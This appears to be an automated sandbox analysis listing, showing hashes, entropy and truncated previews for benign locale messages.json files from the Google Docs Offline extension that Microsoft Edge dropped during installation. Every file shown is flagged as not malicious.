Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir2284_208444264\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
